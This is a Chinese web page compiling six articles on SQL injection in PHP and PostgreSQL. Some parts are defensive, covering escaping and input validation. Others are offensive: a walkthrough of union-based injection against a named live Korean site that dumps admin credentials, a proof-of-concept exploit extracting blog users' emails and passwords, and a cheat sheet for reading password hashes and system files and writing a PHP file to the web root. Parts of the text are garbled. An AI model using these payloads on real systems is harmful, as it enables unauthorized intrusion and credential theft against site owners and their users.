欢迎来到个人简历网!永久域名:gerenjianli.cn (个人简历全拼+cn)
当前位置:首页 > 范文大全 > 实用文>手把手叫你SQL注入攻防(PHP语法)脚本安全

手把手叫你SQL注入攻防(PHP语法)脚本安全

2022-08-11 08:35:54 收藏本文 下载本文

“拿铁在逃咖啡豆”通过精心收集,向本站投稿了6篇手把手叫你SQL注入攻防(PHP语法)脚本安全,以下是小编整理后的手把手叫你SQL注入攻防(PHP语法)脚本安全,欢迎阅读分享,希望对您有所帮助。

手把手叫你SQL注入攻防(PHP语法)脚本安全

篇1:手把手叫你SQL注入攻防(PHP语法)脚本安全

1.什么是 SQL注入 ,猛戳 查看

2.本地 测试 代码:

如果表单提交正确,就打印hello,“username”

否则,打印“404 not found!”

require 'config.php';

$DBConnection = mysql_connect ( “$dbhost”, “$dbuser”, “$dbpwd” );

mysql_select_db ( “$dbdatabase” );

if(isset($_GET['submit']) && $_GET['submit']){

$sql=“select * from  test  where name='”.$_GET['username'].“'and password='”.$_GET['password'].“'”;

//echo $sql;exit;

$result=mysql_query($sql,$DBConnection);

$num=mysql_num_rows($result);

if($num>=1)

{

echo “hello,”.$_GET['username'];

}

else {

echo“404 not found”;

}

}

?>

username

password

submit

3.浏览器界面显示:

4.重头戏,sql注入:

5.原理--为什么用户名不正确,却可以显示hello?

我可以echo一下:

$sql=“select * from test where name='”.$_GET['username'].“'and password='”.$_GET['password'].“'”;

echo $sql;exit;

显示:

拿到我的mysql数据库中查询:

可以看到,居然能查到信息,因为sql语句中,前一半单引号被闭合,后一半单引号被 “--”给注释掉,中间多了一个永远成立的条件“1=1”,这就造成任何字符都能成功登录的结果,

手把手叫你SQL注入攻防(PHP语法)脚本安全

6.小结:

1)其实这个sql注入过程上很简单,困难的地方在于提交SQL注入语句的灵活性上面,单引号的使用很关键,另外,多用echo打印调试也很值得一试~~

2)GET方式提交表单很危险,所以还是用POST方式吧!

参考:blog.csdn.net/gideal_wang/Article/details/4316691

3)防止SQL注入:可以看出,sql注入就是用户提交一些非法的字符(如本文的单引号’和sql语句的注释号--,还有反斜杠等),所以要用转义: htmlspecialchars函数,mysql_read_escape_string函数都可以实现。

4)JS段验证表单了,JSP/PHP等后台还要验证码?

---需要,因为friebug可以禁用JS...

--------------------------------------------------------------------------

update:

上面的方法,当password通过md5加密的话,就无法实现注入了,那么就在username上做手脚:

username后面的内容就都被注释掉了。哈哈~

篇2:攻防技巧 PHP数据库安全之SQL注入WEB安全

很多 web 开发者没有注意到 SQL 查询是可以被篡改的,因而把 SQL 查询当作可信任的命令,殊不知道,SQL 查询可以绕开访问控制,从而绕过身份验证和权限检查。更有甚者,有可能通过 SQL 查询去运行主机操作系统级的命令。

直接 SQL 命令注入就是攻击者常用的一种创建或修改已有 SQL 语句的技术,从而达到取得隐藏数据,或覆盖关键的值,甚至执行数据库主机操作系统命令的目的。这是通过应用程序取得用户输入并与静态参数组合成 SQL 查询来实现的。下面将会给出一些真实的例子。

由于在缺乏对输入的数据进行验证,并且使用了超级用户或其它有权创建新用户的数据库帐号来连接,攻击者可以在数据库中新建一个超级用户。 例子 27-2. 一段实现数据分页显示的代码……也可以被用作创建一个超级用户(PostgreSQL系统)。

预防措施

也许有人会自我安慰,说攻击者要知道数据库结构的信息才能实施上面的攻击,

没错,确实如此。但没人能保证攻击者一定得不到这些信息,一但他们得到了,数据库有泄露的危险。如果你在用开放源代码的软件包来访问数据库,比如论坛程序,攻击者就很容得到到相关的代码。如果这些代码设计不良的话,风险就更大了。

这些攻击总是建立在发掘安全意识不强的代码上的。所以,永远不要信任外界输入的数据,特别是来自于客户端的,包括选择框、表单隐藏域和cookie。就如上面的第一个例子那样,就算是正常的查询也有可能造成灾难。

永远不要使用超级用户或所有者帐号去连接数据库。要用权限被严格限制的帐号。

检查输入的数据是否具有所期望的数据格式。PHP 有很多可以用于检查输入的函数,从简单的变量函数和字符类型函数(比如 is_numeric,ctype_digit())到复杂的 Perl 兼容正则表达式函数都可以完成这个工作。

如果程序等待输入一个数字,可以考虑使用 is_numeric() 来检查,或者直接使用 settype() 来转换它的类型,也可以用 sprintf() 把它格式化为数字。 例子 27-6. 一个实现分页更安全的方法

篇3:php 如何做数据库攻击(如:SQL注入)脚本安全

PHP mysql_real_escape_string() 函数

PHP MySQL 函数

定义和用法

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符,

下列字符受影响:

x00

n

r

'

x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

语法

mysql_real_escape_string(string,connection)

参数描述

string必需。规定要转义的字符串。

connection可选。规定 MySQL 连接。如果未规定,则使用上一个连接。

说明

本函数将 string 中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于mysql_query() 。

提示和注释

提示:可使用本函数来预防数据库攻击。

例子

例子 1

{ die('Could not connect: ' . mysql_error());

} // 获得用户名和密码的代码 // 转义用户名和密码,以便在 SQL 中使用 $user =mysql_real_escape_string($user); $pwd =mysql_real_escape_string($pwd); $sql = ”SELECT * FROM users WHERE

user='“ . $user . ”' AND password='“ . $pwd . ”'“ // 更多代码 mysql_close($con); ?>

例子 2

数据库攻击。本例演示如果我们不对用户名和密码应用 mysql_real_escape_string() 函数会发生什么:

{ die('Could not connect: ' . mysql_error());

} $sql = ”SELECT * FROM users

WHERE user='{$_POST['user']}'

AND password='{$_POST['pwd']}'“;

mysql_query($sql); // 不检查用户名和密码 // 可以是用户输入的任何内容,比如: $_POST['user'] = 'john'; $_POST['pwd'] = ”' OR ''='“; // 一些代码... mysql_close($con); ?>

那么 SQL 查询会成为这样:

SELECT * FROM users WHERE user='john' AND password='' OR ''=''

这意味着任何用户无需输入合法的密码即可登陆,

例子 3

预防数据库攻击的正确做法:

{ $value =stripslashes($value);

} // 如果不是数字则加引号 if (!is_numeric($value))

{ $value = ”'“ .mysql_real_escape_string($value). ”'“;

} return $value;

} $con = mysql_connect(”localhost“, ”hello“, ”321“); if (!$con)

{ die('Could not connect: ' . mysql_error());

} // 进行安全的 SQL $user = check_input($_POST['user']); $pwd = check_input($_POST['pwd']); $sql = ”SELECT * FROM users WHERE

user=$user AND password=$pwd“;

mysql_query($sql);

mysql_close($con); ?>

?

篇4:和我一起学PHP手工注入脚本安全

作者:冰的原点[L.S.T]

看了这么多的ASP注入的,各位是不是已经厌倦了ASP方面的注入呢?呵呵,千万不能厌倦呀,只有不断的学习,才不会被别人甩很远的!那么今天就跟着我一起学习下PHP环境下的手工注入吧.

今天的网站是一韩国的站点,注入点我已经找到了,大家如果怕麻烦的话,可以用啊D找下注入点,其实啊D不仅能找出ASP环境下的注入点,而且PHP,ASPX以及JSP的都可以找出来的哦,截张图大家看下,如图1.

其实找注入点这种事对啊D来说还是很容易的,不过接下来的事就得靠我们自己的双手来进行了.回到正文上,我们首先要判断下数据库是不是使用的mysql,在注入点处输入/*,如果正常返回的话就说明是mysql的了,因为mysql数据是支持/*的注释的,如图2,返回正确页面,然后我们得判断下mysql的版本,如果支持union查询就好办多了,我们在注入点处输入如下语句:and ord(mid(version,1,1))>51/*,返回正常,如图3..说明数据库版本是大于4.0的,也就是说支持union查询的.到这里我们最好先判断下权限,如果是root的话后面的提权就好办多了,我们提交:ord(mid(user(),1,1))=114/*,返回错误,说明不是root的权限,只能老老实实的猜表啦.好,接下来猜它的字段数,利用order by 后面加数字的方法能够很快猜出字段数,例如我提交:www.xx.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5 order by 10,返回正常,说明字段数大于10的,如图4,继续猜,然后提交www.xx.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5 order by 20,返回错误,如图5,说明字段数小于20,接下来就是苦力活了,当我们提交www.xx.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5 order by 17正常,而www.xx.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5 order by 18时错误,说明字段数就是17了,接下来就得猜列名了咯,我们提交:www.lifeloan.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5%20%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*如图6.在网页中显示出的数字中替换成我们的语句,我们继续提交,www.lifeloan.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5%20%20and%201=2%20union%20select%201,2,3,4,version(),user(),7,8,9,10,11,12,13,14,15,16,17/*,如图7,出现了版本号和当然数据库用户名了,接下来当然是猜表啦,首先我们想到的当然是admin这个表啦,继续提交:www.lifeloan.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5%20%20and%201=2%20union%20select%201,2,3,4,version(),user(),7,8,9,10,11,12,13,14,15,16,17%20from%20admin/*返回正常,说明存在admin这个表的,接下来就是最关键的地方了,我们得猜下用户名和密码的,提交:www.lifeloan.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5%20%20and%201=2%20union%20select%201,2,3,4,version(),user(),username,8,9,10,11,12,13,14,15,16,17%20from%20admin/*返回错误,看来不存在username这个列名,接下来就是漫长的猜解过程啦,可是始终没有猜到用户名,不过倒是把ID和密码猜出来的,我提交的语句是这样的:www.lifeloan.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5%20%20and%201=2%20union%20select%201,2,3,4,version(),user(),id,passwd,9,10,11,12,13,14,15,16,17%20from%20admin/*,呵呵,暴出来了,如图8

文章到这里就要结束了,其实在乎只是这个过程而已,没有暴出用户名,而且后面的后台也没有找到,所以就只能放一放啦!不过,希望各位叉子能从本文学点东西的话,本文就会有它的价值了!

篇5:闪存博客SQL注入脚本安全

来自 : < 16.her0_at_gmail.com >

日期 : 5月29日4时24分39秒-0000

('binary' encoding is not supported, stored as-is) ###############################################################################

#

# 姓名: flashblog SQL inyeccion

# 作者: her0

# Dork : ”flashblog“, allinurl:flashblog.html

# Greetz : Komtec1,Freak,Knet,Boer,ka0x

#

###############################################################################

Proof of Concept :概念证明:

[host]/[path]//php/leer_comentarios.php?articulo_id=-1/**/union/**/select/**/1,2,3,4,5,concat(email,0x203a3a20,NombreUsuario,0x203a3a20,Password),7,8,9,10,11,12,13,14,15,16,17/**/from/**/usuarios/*

该colums从主机到主机的不同:所有解决= D的

/PHP/leer_comentarios.php?articulo_id=-1/**/union/**/select/**/1,2,3,4,5,concat(email,0x203a3a20,nombreusuario,0x203a3a20,Password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/usuarios/*/php/leer_comentarios.php?articulo_id=-1/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31/**/from/**/usuarios/*

/php/leer_comentarios.php?articulo_id=-1/**/union/**/select/**/1,2,3,4,5,concat(email,0x203a3a20,NombreUsuario,0x203a3a20,Password),7,8,9,10,11,12,13,14,15,16,17,18,19/**/from/**/usuarios/*

############################################################################### ################################################## #############################

#

#  墨西哥到20,感谢所有我的朋友们,我爱威士忌XD法

#  milw0rm.com/exploit...

############################################################################### ################################################## #############################

篇6:Postgresql注入语法指南脚本安全

作者:Nana

本文很抱歉没有实例,没有截图,

像我这个不善于Google的人来说,要找一个Postgresql的注入实例还是不太容易,所以,不解释。

只有枯燥的语句,和回显作为例子。

SQL软件中,不管是MSSQL,MySQL,Oracle还是Access或者是informix,firebird,db2,他们的SQL逻辑和语法都是万变不离其宗的。虽然这么说,但是不建议注入初学者来看本文。因为我不会把每个函数或者语法都解释一遍。

直接阅读本文,菜鸟肯定有难度,又没有实例,但是懂SQL手注的人阅读起来还是相当容易的。

--------------------------------------------------------------------------------

在注入中常用的几个注入语法通常有这么几个:

--显示版本

--从已知表段字段爆数据

--列库

--列数据库中的表段

--列表段中的字段

--读取配置信息,例如数据库登陆账户和密码

--读写文件

那我就一个一个来讲这些Postgresql的语法是怎样的

--显示版本 www.2cto.com

select version();

union select 1,2,...n,version()

//version()函数与MySQL的是一样的

回显数据举例:

PostgreSQL 8.1.18 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-46)

--从已知表段字段爆数据

select aa from bb where cc=dd;

union select 1,2,....n,aa from bb where cc=dd

//所有的SQL语法几乎都是这样的语法来爆数据

无举例

--列库

select datname from pg_database;

union select 1,2,....,n,datname from pg_database;

回显举例:

postgres,prc,template1,template0

--列数据库中的表段

select relname from pg_stat_user_tables limit 1 offset n;

//类似于MySQL中的information_schema.tables,虽然不大恰当

union select relname from pg_stat_user_tables limit 1 offset 3;

//limit 1 offset 0和MySQL的limit 0,1一个效果,

无举例

--列表段中的字段

select column_name from information_schema.columns where table_name='xxx' limit 1 offset n;

union select 1,2,.....,n,column_name from information_schema.columns where table_name=0x3a limit 1 offset 5

//同MySQL

--读取配置信息,例如数据库登陆账户和密码

select usename,passwd from pg_shadow;

union select 1,2,...n,usename,passwd from pg_shadow

//pg_shadow数据库类似于MySQL中的mysql数据库

root账户为postgres

回显举例:

postgres 9d2e7638fd7c7e433f0074a8f65cfd3a

--读取文件

copy test from '/etc /passwd'with delimiter E't';

(注:网上多数关于Postgresql的语句中是双引号,实际测试,8.x到9.x双引号无效,应该用双引号)

回显举例:

Query failed: ERROR: extra data after last expected column CONTEXT: COPY file, line 1: ”root:x:0:0:root:/root:/bin/bash“

--写入文件

insert into test values ('

copy test(code) to ”/var/www/one.php”;

回显举例:

Query failed: ERROR: could not open file ”/var/www/html/aaa.php“ for writing: Permission denied

pg_file_read()不如MySQL中的load_file()那么好用

例如:

select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));

则回显:

Query failed: ERROR: function pg_file_length(”unknown") does not exist HINT: No function matches the given name and argument types. You may need to add explicit type casts.

Postgresql我也不是特别熟,所以写到这里。

//blackbap.org

【手把手叫你SQL注入攻防(PHP语法)脚本安全】相关文章:

1.sqlmap 注入命令脚本安全

2.手把手教你劫持李开复的 脚本安全

3.注入笔记半猜解查询脚本安全

4.自定义sqlmap注入语句进行高级注入脚本安全

5.命令行下添加SQL用户的方法脚本安全

6.百度的JS数据流注入型跨站脚本安全

7.马克斯CMS2.0beta (maxcms)SQL注入漏洞解析漏洞预警

8.使用PHP 构建的Web 应用如何避免XSS 攻击脚本安全

9.存储型XSS脚本安全

10.Mssql 逆向查询脚本安全

下载word文档
《手把手叫你SQL注入攻防(PHP语法)脚本安全.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度: 评级1星 评级2星 评级3星 评级4星 评级5星
点击下载文档

文档为doc格式

最新推荐
猜你喜欢
  • 返回顶部